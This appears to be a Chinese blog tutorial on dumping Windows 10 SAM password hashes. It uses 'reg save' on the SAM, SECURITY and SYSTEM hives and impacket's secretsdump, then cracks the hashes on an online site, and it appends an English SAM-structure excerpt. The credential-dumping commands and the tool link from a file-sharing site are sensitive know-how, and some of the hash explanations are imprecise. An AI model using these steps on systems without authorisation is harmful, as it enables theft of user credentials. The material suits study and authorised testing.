win10提取并解密sam文件中的hash值

前言

严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。

正文

本文讲解如何将windows10里的SAM文件提取出来hash值的破解

用到工具和网站有secretsdumps.py

MD5免费在线解密破解_MD5在线加密-SOMD5

SAM简介
SAM(安全账户管理器),SAM存放在注册表中,SAM用来存储Windows操作系统密码的数据库文件,为了避免明文密码泄露,SAM文件中保存的是明文密码经过一系列算法处理过的Hash值,被保存的Hash分为LM Hash(已废弃)和NTLMHash(长度32bit由字母数字组成),现在用户凭证是以NTLM HASH形式保存。在用户在本地或者远程登陆系统时,会将Hash值与SAM文件中保存的Hash值进行对比。在后期的Windows系统中,SAM文件中被保存的密码Hash都被密钥SYSKEY加密,接下来将对sam进行利用。

reg save hklm\sam C:\sam.save
reg save hklm\security C:\security.save
reg save hklm\system C:\system.save

下载secretsdumps.py

secretsdum下载地址:

链接:https://pan.baidu.com/s/1gCkf9Dwh8xLd4qQQ71Zxwg 
提取码:6666

下载后需要安装impacket模块       

pip install impacket

       安装完成后讲提取出来的三个文件和secretsdumps.py放在一个文件夹内,打开cmd进入该文件夹后输入下列命令

python secretsdumps.py -sam sam.save -security security.save -system system.save LOCAL

 hash值就得到了

 其中我们拿第一行举例

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::


//其中
Administrator        //用户名
500                   //用户rid
aad3b435b51404eeaad3b435b51404ee //lmhash(老加密算法)
31d6cfe0d16ae931b73c59d7e0c089c0 //nthash(新加密算法,win10以后的电脑使用)

LMHash(LAN Manager Hash)是早期Windows系统中使用的哈希算法,用于存储用户密码的散列值。它将密码分成两个7个字符的部分,并对每个部分进行独立的哈希计算,最终组合成一个16个字符的哈希值。然而,由于其较低的安全性和易受攻击的特点,LMHash在现代环境中已经不推荐使用。

NTHash(NT LAN Manager Hash)是Windows NT及其后续版本中使用的更强大和安全的哈希算法。它使用的是NTLM协议,并将用户密码哈希为一个128位的散列值,称为NTLM哈希。NTLMHash提供了更好的安全性和更大的密码空间,因此在现代Windows系统中被广泛使用。

直接用网页破解

 得到未加密原值

参考文章:奇安信攻防社区-内网渗透-获取明文和hash (butian.net)

国外经典SAM结构分析资料。 偶尔从google上获得,从网上搜集了一大会,发现比国内的资料简直UP了好些年。 Security Accounts Manager Author: clark@hushmail.com Last updated: 3rd April 2005 ________________________________________ This article is based primarily on a local default setup of NT5.0 Professional or 2K (Windows 2000), however there maybe additional verified references to XP Professional and Server Editions. Much will apply across the NT range, but not all has been verified. Note that this is a partial update from the orginal version, there will be more additions, I just thought it was time to consolidate some stuff. This article has been written concisely and progressively, it is advisable not to skim read. Some stuff is advanced, use a test machine where possible. Special thanks to: (alphabetically ordered) esrever_otua: For pointing out something which I had missed about group memberships. fishy5: For coding XORCheck.exe which calculates the registry hive checksum. mirrorshades: For inspiring a hash database space optimzation technique rattle: For coding ntdate.exe which calculates the NT time format and the LastPolicyTime; a couple of programs for the #DAD8636F687BF15B section and for working on the LM Hash Decoder V1/V2 projects. Serg Wasilenkow: For working on the LM Hash Decoder V1/V2 projects. Vladimir Katalov: For the PWSEx product key and working on the LM Hash Decoder V1/V2 projects. xavic: For inspiring a hash database space optimzation technique Due to length and my decision not to divide this article into separate pages I have split the article into 4 main chapters. 01. Users and Groups 02. (some) Security Settings 03. Registry Structure 04. Passwords
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值